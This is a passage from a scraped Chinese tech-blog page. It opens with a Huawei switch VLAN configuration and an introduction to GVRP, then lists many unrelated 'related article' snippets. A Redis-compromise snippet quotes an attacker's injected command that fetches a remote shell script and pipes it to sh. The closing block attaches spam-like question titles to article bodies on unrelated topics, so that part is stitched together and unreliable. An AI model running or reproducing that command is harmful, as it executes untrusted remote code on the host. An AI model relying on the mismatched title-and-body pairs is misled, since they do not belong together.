[SwitchB-GigabitEthernet1/0/1] port link-type hybrid
[SwitchB-GigabitEthernet1/0/1] port hybrid Untagged vlan 2
[SwitchB -GigabitEthernet1/0/1] quit
[SwitchB] interface gigabitethernet 1/0/2
[SwitchB-GigabitEthernet1/0/2] port link-type trunk
[SwitchB-GigabitEthernet1/0/2] port trunk allow-pass vlan 3
[SwitchB -GigabitEthernet1/0/2] quit

通过以上配置MAC地址为1-1-1,IP地址为1.1.1.1的用户被自动划分到VLAN 2中,并且只能接在SwitchA上的GE1/0/1端口上;MAC地址为2-2-2,IP地址为2.2.2.2的用户也被自动划分到VLAN 2中,并且只能接在SwitchB上的GE1/0/1端口上,否则将退出VLAN 2。而MAC地址为3-3-3,IP地址为3.3.3.3的用户被自动划分到VLAN 3中,并且只能接在SwitchA上的GE1/0/2端口上;MAC地址为4-4-4,IP地址为4.4.4.4的用户也被自动划分到VLAN 3中,并且只能接在SwitchB上的GE1/0/2端口上,否则将退出VLAN 3。

七、VLAN 注册协议(GVRP)

如果需要为网络中的所有设备都配置VLAN,就需要网络管理员在每台设备上分别进行手工添加。如图所示,SwitchA上有VLAN2,SwitchB和SwitchC上只有VLAN1,三台设备通过Trunk链路连接在一起。为了使SwitchA上VLAN 2的报文可以传到SwitchC,网络管理员必须在SwitchB和SwitchC上分别手工添加VLAN2。
在这里插入图片描述
对于上面的组网情况,手工添加VLAN很简单,但是当实际组网复杂到网络管理员无法短时间内了解网络的拓扑结构,或者是整个网络的VLAN太多时,工作量会非常大,而且非常容易配置错误。在这种情况下,用户可以通过GVRP的VLAN自动注册功能完成VLAN的配置。

为此,VLAN技术的开发者就想到了一种自动注册方式,对应GVRP(GARP VLAN Registration Protocol,GARP VLAN 注册协议)协议。通过它只需在其中一个交换机中创建所需的 VLAN,然后通过自动注册功能在网络中其他交换机中自动创建所需的 VLAN,大大减轻了网络管理员的工作量,也减少了错误出现的机率。

相关文章:

华为交换机入门(六):VLAN的配置

VLAN&#xff08;Virtual Local Area Network&#xff09;即虚拟局域网&#xff0c;是将一个物理的LAN在逻辑上划分成多个广播域的通信技术。VLAN内的主机间可以直接通信&#xff0c;而VLAN间不能直接互通&#xff0c;从而将广播报文限制在一个VLAN内。 VLAN 主要用来解决如何…...

登录验证

目录 会话技术 Cookie Session JWT JWT生成 JWT校验 会话技术 会话 打开浏览器&#xff0c;访问web服务器的资源&#xff0c;会话建立&#xff0c;直到有一方断开连接&#xff0c;会话结束。在一次会话中可以包含多次请求与响应 会话跟踪 一种维护浏览器的方法 服务器需要…...

利用Podman构建基于Fission env/builder的镜像

镜像准备 构建Dockerfile fission的基础环境包括两种&#xff1a;env 以及 builder。如果仅基于code构建function&#xff08;i.e., 只创建deployachive&#xff09;&#xff0c;仅构建env即可&#xff1b;但如果需要构建sourcearchive&#xff0c;则需要同时创建env和builde…...

php加减乘除函数

目录 第一部分&#xff1a;简单示例 1、加法 2、减法 3、乘法 4、除法 第二部分&#xff1a;官方文档 1、加法 2、减法 3、乘法 4、除法 第一部分&#xff1a;简单示例 1、加法 $result bcadd(1.2, 1.4, 2); echo $result;//2.60 2、减法 $result bcsub(1.6, 1.…...

Go语言学习记录——用正则表达式(regexp包)来校验参数

前言 最近坐毕设ing&#xff0c;简单的一个管理系统。 其中对于用户注册、登录功能&#xff0c;需要进行一些参数校验。 因为之前使用过&#xff0c;因此这里计划使用正则表达式进行校验。但是之前的使用也仅限于使用&#xff0c;因此这次专门进行一次学习&#xff0c;并做此记…...

公司办公电脑文件防泄密系统

电脑文件防泄密系统是一种用于保护企业机密文件的软件系统&#xff0c;它采用一系列的安全技术手段&#xff0c;如数据加密、访问控制、审计跟踪等&#xff0c;来确保企业机密文件不被非法获取、窃取或泄漏。这种系统通常适用于企业、政府机构等需要对重要文件进行保密的机构。…...

手把手带你死磕ORBSLAM3源代码(三十四)Tracking.cc MonocularInitialization编辑

目录 一.前言 二.代码 2.1完整代码 2.2 单目视觉跟踪初始化 一.前言 这段代码是一个名为MonocularInitialization的函数,它属于Tracking类。从函数名称和代码内容来看,这个函数主要用于单目视觉跟踪的初始化过程。以下是代码的详细解读: 首先,函数检查一个名为m...

STL标准库与泛型编程(侯捷)笔记3

STL标准库与泛型编程&#xff08;侯捷&#xff09; 本文是学习笔记&#xff0c;仅供个人学习使用。如有侵权&#xff0c;请联系删除。 参考链接 Youbute: 侯捷-STL标准库与泛型编程 B站: 侯捷 - STL Github:STL源码剖析中源码 https://github.com/SilverMaple/STLSourceCo…...

Iceberg: 列式读取Parquet数据

通过Spark读取Parquet文件的基本流程 SQL > Spark解析SQL生成逻辑计划树 LogicalPlan > Spark创建扫描表/读取数据的逻辑计划结点 DataSourceV2ScanRelation > Spark优化逻辑计划树&#xff0c;生成物理计划树 SparkPlan > Spark根据不同的属性&#xff0c;将逻辑…...

Ansible、Saltstack、Puppet自动化运维工具介绍

本文主要是分享介绍三款主流批量操控工具Ansible、Saltstack、Puppet主要对比区别&#xff0c;以及Ansible和saltstack的基础安装和使用示例&#xff0c;如果觉得本文对你有帮助&#xff0c;欢迎点赞、收藏、评论&#xff01; There are many things that can not be broken&am…...

python线程池提交任务

1. 线程池参数设置 CPU数量&#xff1a;N线程池的核心线程数量 IO密集型的话&#xff0c;一般设置为 2 * N 1&#xff1b; CPU密集型的话&#xff0c;一般设置为 N 1 或者 使用进程池。线程池的最大任务队列长度 &#xff08;线程池的核心线程数 / 单个任务的执行时间&#…...

跨境电商企业客户服务优化指南:关键步骤与实用建议

随着全球经济一体化的加强&#xff0c;跨境电子商务产业在过去几年蓬勃发展。但是&#xff0c;为应对激烈竞争&#xff0c;提供全方面的客户服务成为了跨境电子商务卖家在市场中获得优势的关键因素之一。本文将介绍跨境电商企业优化客户服务有哪些步骤&#xff1f;以助力企业提…...

Visual Studio Code 常用快捷键

Visual Studio Code 常用快捷键 文章目录 Visual Studio Code 常用快捷键1. 主命令框2. 常用快捷键2.1 编辑器与窗口管理2.2 代码编辑格式调整光标相关重构代码查找替换显示相关其他 1. 主命令框 F1 或 CtrlShiftP : 打开命令面板。在打开的输入框内&#xff0c;可以输入任何命…...

ubuntu创建pytorch-gpu的docker环境

文章目录 安装docker创建镜像创建容器 合作推广&#xff0c;分享一个人工智能学习网站。计划系统性学习的同学可以了解下&#xff0c;点击助力博主脱贫( •̀ ω •́ )✧ 使用docker的好处就是可以将你的环境和别人的分开&#xff0c;特别是共用的情况下。本文介绍了ubuntu环境…...

数据库原理与应用期末复习试卷2

数据库原理技术与应用 一.单项选择题 设有属性A&#xff0c;B&#xff0c;C&#xff0c;D&#xff0c;以下表示中不是关系的是( C) ​ A、R(A) B、R(A, B, C, D) C、R&#xff08;AxBxCxD&#xff09; D、R(A&#xff0c;B) 在SQL语言中的视图VIEW是数据库的(A&#xff09;…...

操作系统丨单元测试

文章目录 单元测试选择题填空题单元测试 选择题 【单选题】可以实现虚拟存储器的方案是(D)。 A. 固定分区方式 B. 可变分区方式 C. 纯分页方式 D. 请求页式 【单选题】文件系统中文件存储空间的分配是以(D)为基本单位进行的。 A. 字 B. 字节 C. 文件 D. 块 【单选题】哪种…...

tcp/ip协议2实现的插图,数据结构6 (24 - 章)

(142) 142 二四1 TCP传输控制协议 tcpstat统计量与tcp 函数调用链 (143) 143 二四2 TCP传输控制协议 宏定义与常量值–上 (144) 144 二四3 TCP传输控制协议 宏定义与常量值–下 (145) 145 二四4 TCP传输控制协议 结构tcphdr,tcpiphdr (146) 146 二四5 TCP传输控制协议 结构 tcp…...

Linux链接的创建,删除,修改

目录 1. 概述2. 硬链接2.1 创建硬链接2.2 删除硬链接 3. 软链接3.1 创建软链接3.2 删除软链接 5. 常用的终端工具下载 计算机基础–Linux详解 1. 概述 在Linux系统中&#xff0c;链接是一种文件系统中的重要概念。链接允许用户在文件系统中创建指向另一个文件的引用&#xff0c…...

HarmoryOS Ability页面的生命周期

接入穿山甲SDK app示例&#xff1a; android 数独小游戏 经典数独休闲益智 广告接入示例: Android 个人开发者如何接入广告SDK&#xff0c;实现app流量变现 Ability页面的生命周期 学习前端&#xff0c;第一步最重要的是要理解&#xff0c;页面启动和不同场景下的生命周期的…...

【Flink 从入门到成神系列 一】算子

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是爱敲代码的小黄&#xff0c;阿里巴巴淘天Java开发工程师&#xff0c;CSDN博客专家&#x1f4d5;系列专栏&#xff1a;Spring源码、Netty源码、Kafka源码、JUC源码、dubbo源码系列&#x1f525;如果感觉博主的文章还不错…...

无人机自主寻优降落在移动车辆

针对无人机寻找并降落在移动车辆上的问题&#xff0c;一套可能的研究总体方案&#xff1a; 问题定义与建模&#xff1a; 确定研究的具体范围和目标&#xff0c;包括无人机的初始条件、最大飞行距离、允许的最大追踪误差等。建立马尔科夫决策过程模型&#xff08;MDP&#xff09…...

科技感十足界面模板

科技感界面 在强调简洁的科技类产品相关设计中&#xff0c;背景多数分为&#xff1a;颜色或写实图片两种。 颜色很好理解&#xff0c;大多以深色底为主。强调一种神秘感和沉稳感&#xff0c;同时可以和浅色的文字内容形成很好的对比。 而图片背景的使用&#xff0c;就要求其…...

pytest装饰器 @pytest.mark.parametrize 使用方法

pytest.mark.parametrize 有三种传参方法&#xff0c;分别是&#xff1a; 1.列表传参&#xff1a;将参数值作为列表传递给装饰器。 pytest.mark.parametrize("param", [value1, value2, ..., valuen])2.元组传参&#xff1a;将参数值作为元组传递给装饰器。 pytes…...

redis被攻击

之前由于redis没有修改端口&#xff0c;密码也比较简单&#xff0c;也没有绑定ip 结果被攻击了 1 redis里被写入string类型的脚本&#xff0c;比如&#xff1a;Back1 Back2 Back3 Back4 &#xff0c;内容curl -fsSL http://d.powerofwish.com/pm.sh | sh的形式&#xff0c;如下…...

二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明

处理二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明 sitemapLocation 指明 sitemap.json 的位置&#xff1b;默认为 ‘sitemap.json’ 即在 app.json 同级目录下名字的 sitemap.json 文件 找到app.json这个文件 把这段代码加进去&…...

【AI视野·今日Sound 声学论文速览 第四十期】Wed, 3 Jan 2024

AI视野今日CS.Sound 声学论文速览 Wed, 3 Jan 2024 Totally 4 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Sound Papers Auffusion: Leveraging the Power of Diffusion and Large Language Models for Text-to-Audio Generation Authors Jinlong Xue, Yayue De…...

Unity组件开发--升降梯

我开发的升降梯由三个部分组成&#xff0c;反正适用于我的需求了&#xff0c;其他人想复用到自己的项目的话&#xff0c;不一定。写的也不是很好&#xff0c;感觉搞的有点复杂啦。完全可以在优化一下&#xff0c;项目赶工期&#xff0c;就先这样吧。能用就行&#xff0c;其他的…...

插槽slot涉及到的样式污染问题

1. 前言 本次我们主要结合一些案例研究一下vue的插槽中样式污染问题。在这篇文章中&#xff0c;我们主要关注以下两点: 父组件的样式是否会影响子组件的样式&#xff1f;子组件的样式是否会影响父组件定义的插槽部分的样式&#xff1f; 2. 准备代码 2.1 父组件代码 <te…...

OpenCV-Python(25):Hough直线变换

目标 理解霍夫变换的概念学习如何在一张图片中检测直线学习函数cv2.HoughLines()和cv2.HoughLinesP() 原理 霍夫变换在检测各种形状的的技术中非常流行。如果你要检测的形状可以用数学表达式写出来&#xff0c;你就可以是使用霍夫变换检测它。即使检测的形状存在一点破坏或者…...

python接口自动化(七)--状态码详解对照表(详解)

1.简介 我们为啥要了解状态码&#xff0c;从它的作用&#xff0c;就不言而喻了。如果不了解&#xff0c;我们就会像个无头苍蝇&#xff0c;横冲直撞。遇到问题也不知道从何处入手&#xff0c;就是想找别人帮忙&#xff0c;也不知道是找前端还是后端的工程师。 状态码的作用是&a…...

网站开发的前置审批是什么意思/域名注册网站哪个好

持久代Permanent Generation space(JDK1.7及以下版本存在)主要存放存放class文件中类的版本、字段、方法、接口&#xff0c;类和方法的元数据等描述信息&#xff0c;运行时常量池&#xff0c;用于存放编译器生成的各种字面量和符号引用。上限是MaxPermSizePremGen与old区绑定在…...

哪些网站可以做兼职设计师/独立网站

转载自&#xff1a;http://blog.csdn.net/v_july_v/article/details/7041827、 从头到尾彻底理解KMP 作者&#xff1a;July时间&#xff1a;最初写于2011年12月&#xff0c;2014年7月21日晚10点 全部删除重写成此文&#xff0c;随后的半个多月不断反复改进。后收录于 新书 《 编…...

无锡高端网站设计建设/湖南网站建设平台

P12 判断语句1.判断语句1 — if2.判断语句2 — if ... else3.判断语句3 — if ... else if ... else4.语句练习5.if 语句和三元运算符的互换系统&#xff1a;Win10 Java&#xff1a;1.8.0_333 1.判断语句1 — if if 语句第一种格式&#xff1a;if if(判断条件) {语句体; }执行…...

广州做网站星珀/个人网站怎么做

在上一篇文章《Minecraft基岩版&#xff08;手机版、便携版、PE版&#xff09;开服指南》中&#xff0c;我们介绍了《我的世界》基岩版的开服方法。然后这篇文章&#xff0c;就为那些了解更多细节的玩家&#xff0c;介绍一下常见的管理员命令。 另外&#xff0c;由于《我的世界…...

网站建设丂金手指科杰/哪里有免费的网站推广

简单的说&#xff0c;Silverlight是一个跨平台跨操作系统的插件&#xff0c;使Web开发者能够在浏览器中建造丰富的媒体体验和RIA应用。目前发布的版本为 RC版&#xff0c;可用于Windows平台上的IE和Firefox浏览器&#xff0c;以及Mac OS X平台上的Firefox和Safari浏览器。 在公…...

2024疫情最新数据消息/关键词优化话术

很多人用ubuntu虚拟机virtualbox会非常卡&#xff0c; 解决方法&#xff1a; 1. 首先安装编译内核所用的软件包 sudo apt-get update && sudo apt-get upgrade //升级版本 可以不做 sudo apt-get dist-upgrade sudo apt-get install build-essential module-assistant…...